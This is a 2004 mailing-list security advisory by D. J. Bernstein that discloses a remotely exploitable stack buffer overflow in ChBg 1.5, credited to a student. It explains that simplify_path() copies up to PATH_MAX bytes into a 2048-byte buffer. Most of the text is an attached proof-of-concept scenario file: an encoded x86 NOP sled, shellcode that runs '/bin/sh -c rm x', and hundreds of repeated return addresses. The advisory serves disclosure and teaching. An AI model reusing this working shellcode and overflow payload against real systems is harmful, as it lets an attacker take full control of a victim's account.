Mailing-List: contact securesoftware-help@list.cr.yp.to; run by ezmlm Delivered-To: mailing list securesoftware@list.cr.yp.to Received: (qmail 44296 invoked by uid 1017); 15 Dec 2004 08:26:47 -0000 Date: 15 Dec 2004 08:26:47 -0000 Message-ID: <20041215082647.44295.qmail@cr.yp.to> Mail-Followup-To: securesoftware@list.cr.yp.to, ondrej@users.sourceforge.net Automatic-Legal-Notices: See http://cr.yp.to/mailcopyright.html. From: "D. J. Bernstein" To: securesoftware@list.cr.yp.to, ondrej@users.sourceforge.net Subject: [remote] [control] chbg 1.5 simplify_path overflows res buffer Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="WIyZ46R2i8wDzkSu" Content-Disposition: inline --WIyZ46R2i8wDzkSu Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Danny Lungstrom, a student in my Fall 2004 UNIX Security Holes course, has discovered a remotely exploitable security hole in ChBg, a tool to change background pictures. I'm publishing this notice, but all the discovery credits should be assigned to Lungstrom. You are at risk if, under Linux, you take a chbg scenario file---a list of pictures to display---from an email message (or a web page or any other source that could be controlled by an attacker). Whoever provides that input then has complete control over your account: he can read and modify your files, watch the programs you're running, etc. Of course, when you accept a list of input filenames from someone else, you are running the risk that those filenames include some of your files, so that chbg will display some of your files (maybe secret pictures). But the chbg documentation does not suggest that there is any larger risk. Proof of concept: On an x86 computer running Linux with gcc 2.95.4, type wget http://unc.dl.sourceforge.net/sourceforge/chbg/chbg-1.5.tgz gunzip < chbg-1.5.tgz | tar -xf - cd chbg-1.5 ./configure make to download and compile the chbg program, version 1.5 (current). Then save the file 49.list attached to this message, and type src/chbg -scenario 49.list with the unauthorized result that a file named x is removed from the current directory. Here's the bug: In config.c, simplify_path() copies data into a 2048-byte res[] array. The amount of data is limited only by PATH_MAX, which is 4096 under Linux. (FreeBSD is immune to this particular attack because its PATH_MAX is only 1024.) ---D. J. Bernstein, Associate Professor, Department of Mathematics, Statistics, and Computer Science, University of Illinois at Chicago --WIyZ46R2i8wDzkSu Content-Type: text/plain; charset=unknown-8bit Content-Disposition: attachment; filename="49.list" Content-Transfer-Encoding: quoted-printable Picture: /usr/share/backgrounds/images/=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90= =90=90=90=90=90=90=90=EBDY=89=CA=83=C2=18=89=111=C0=89A=04=83=C2=13=89Q=08= =83=C2=08=89Q=0C=83=C2=03=89Q=10=89A=14=88A*=88A2=88A5=88A:=89=CA=89=CB=83= =C3+=83=C1=08=83=C0=0B=CD=801=C01=DB@=CD=80=E8=B7=FF=FF=FFabcdefghijklmnopq= rstuvwxPATH=3D/bin:/usr/bin /bin/sh -c rm x.=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0= =CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD= =FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF= =BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF= =F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF=F0=CD=FF=BF --WIyZ46R2i8wDzkSu--